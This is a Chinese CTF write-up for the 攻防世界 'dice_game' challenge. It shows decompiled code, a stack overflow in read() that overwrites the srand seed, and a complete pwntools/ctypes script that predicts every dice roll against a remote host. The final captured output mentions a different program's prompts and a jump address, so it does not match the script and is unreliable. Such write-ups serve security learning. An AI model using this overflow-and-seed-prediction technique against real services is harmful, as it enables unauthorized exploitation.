当前位置: 首页 > news >正文

攻防世界 dice_game

dice_game

​​​​​​dice_game

(1)

motaly@motaly-VMware-Virtual-Platform:~/桌面$ file game
game: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=25432b87a385dc5acec03263b2e3746f287ed159, stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=game
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols	  No	0		3		game

(2)

用ida打开,无法反汇编,看main函数的汇编码

__int64 __fastcall main(int a1, char **a2, char **a3)
{char buf[55]; // [rsp+0h] [rbp-50h] BYREFchar v5; // [rsp+37h] [rbp-19h]ssize_t n49; // [rsp+38h] [rbp-18h]unsigned int seed[3]; // [rsp+40h] [rbp-10h]int n50; // [rsp+4Ch] [rbp-4h]memset(buf, 0, 0x30uLL);*(_QWORD *)seed = time(0LL);printf("Welcome, let me know your name: ");fflush(stdout);n49 = read(0, buf, 0x50uLL);if ( n49 <= 49 )buf[n49 - 1] = 0;printf("Hi, %s. Let's play a game.\n", buf);fflush(stdout);srand(seed[0]);n50 = 1;v5 = 0;while ( 1 ){printf("Game %d/50\n", n50);v5 = sub_A20();fflush(stdout);if ( v5 != 1 )break;if ( v5 ){if ( n50 == 50 ){sub_B28(buf);break;}++n50;}}puts("Bye bye!");return 0LL;
}

看到这里开始有一个read函数,向buf读入最大80个字节,但buf大小为55,所以存在缓冲区溢出

在下面有用srand函数设置伪随机数生成器的种子,参数是seed

然后进入循环,有一个sub_A20函数给v5参数

__int64 sub_A20()
{__int16 n6; // [rsp+Ch] [rbp-4h] BYREF__int16 n6_1; // [rsp+Eh] [rbp-2h]printf("Give me the point(1~6): ");fflush(stdout);_isoc99_scanf("%hd", &n6);if ( n6 > 0 && n6 <= 6 ){n6_1 = rand() % 6 + 1;if ( n6 <= 0 || n6 > 6 || n6_1 <= 0 || n6_1 > 6 )_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");if ( n6 == n6_1 ){puts("You win.");return 1LL;}else{puts("You lost.");return 0LL;}}else{puts("Invalid value!");return 0LL;}
}

这个函数主要是看我们输入的值n6和随机生成的值n6_1是否相同,相同就会返回1值给v5

当v5等于1时,就进入if判断中,当我们50次都成功时,有一个sub_B28函数,会输出flag

int __fastcall sub_B28(const char *a1)
{char s[104]; // [rsp+10h] [rbp-70h] BYREFFILE *stream; // [rsp+78h] [rbp-8h]printf("Congrats %s\n", a1);stream = fopen("flag", "r");fgets(s, 100, stream);puts(s);return fflush(stdout);
}

(3)

总的这个程序是一个小游戏,当我们输入的值与程序随机生成的值相同时,算赢得游戏,赢了50次后,就会给flag

思路:

1.在程序开头有一个输入点并存在栈溢出,我们可以利用这个点来改变随机数生成器的种子,使其相同

原因:

rand函数生成的随机数并不是真正意义上的随机,而是伪随机,当设定的种子相同时,使用相同算法生成的随机数序列就是固定的

当种子相同后,本地和服务端的伪随机数生成器就会从相同的起始状态开始工作,进而生成相同的随机数序列

看堆栈情况,可以看到输入点buf离seed距离是0x40,所以通过覆盖0x40来改变seed值

-0000000000000050 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000050 // Frame size: 50; Saved regs: 8; Purge: 0
-0000000000000050
-0000000000000050     char buf[55];
-0000000000000019     _BYTE var_19;
-0000000000000018     _QWORD var_18;
-0000000000000010     unsigned int seed[3];
-0000000000000004     _DWORD var_4;
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

2.然后我们要导入ctypes库,来使得在python中实现对C语言函数的引用

完成随机数的生成

(4)

编写

from pwn import *
from ctypes import *io = remote('223.112.5.141' ,52524)
libc = cdll.LoadLibrary("libc.so.6")payload = b"a" * 0x40 + p64(0)
io.sendlineafter("name: ", payload)
list = []
for i in range(50):list.append(libc.rand()%6+1)
print(list)
for point in list:io.sendlineafter("point(1~6): ", str(point))
io.interactive()

(5)

连接得到flag

[*] Switching to interactive mode
[DEBUG] Received 0x1a bytes:b'Please enter your string: '
Please enter your string: [DEBUG] Received 0x6c bytes:b'\n'b'Okay, time to return... Fingers Crossed... Jumping to 0x80485cb\n'b'flag{5bde2e60-3032-4e77-b8ad-371a2483f030}\n'Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
flag{5bde2e60-3032-4e77-b8ad-371a2483f030}
[DEBUG] Received 0x2b bytes:b'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive

相关文章:

  • 模型开发之前的核心工作
  • 黄雀在后:外卖大战新变局,淘宝+饿了么开启电商大零售时代
  • Java大师成长计划之第9天:高级并发工具类
  • 存储器层次结构:理解计算机记忆的金字塔
  • 模型之FIM(Fill-In-the-Middle)补全
  • 12.多边形的三角剖分 (Triangulation) : Fisk‘s proof
  • 销售预测业务优化设计方案汇报P99(99页PPT)(文末有下载方式)
  • 总结C++中的STL
  • C++笔记-继承(下)(包含派生类的默认成员函数,菱形继承等)
  • 代码随想录单调栈part1
  • 使用CubeMX新建DMA工程——存储器到存储器模式
  • 计网_PPP协议
  • MOOS-ivp使用(一)——水下机器人系统的入门与使用
  • 【STM32单片机】#12 SPI通信(软件读写)
  • Ollama 本地运行 Qwen 3
  • 连接linux虚拟机并运行C++【从0开始】
  • 【Day 14】HarmonyOS分布式数据库实战
  • Hibernate与MybatisPlus的混用问题(Invalid bound statement (not found))
  • C++11新特性_Lambda 表达式
  • 【C++】类和对象【中下】
  • 生命与大海相连:他在300多米的深海行走,在沉船一线打捞救援
  • 李在明回应韩国大法院判决:与自己所想截然不同,将顺从民意
  • 韩国代总统、国务总理韩德洙宣布辞职
  • 不准打小孩:童年逆境经历视角下的生育友好社会
  • “75后”袁达已任国家发改委秘书长
  • 西班牙葡萄牙电力基本恢复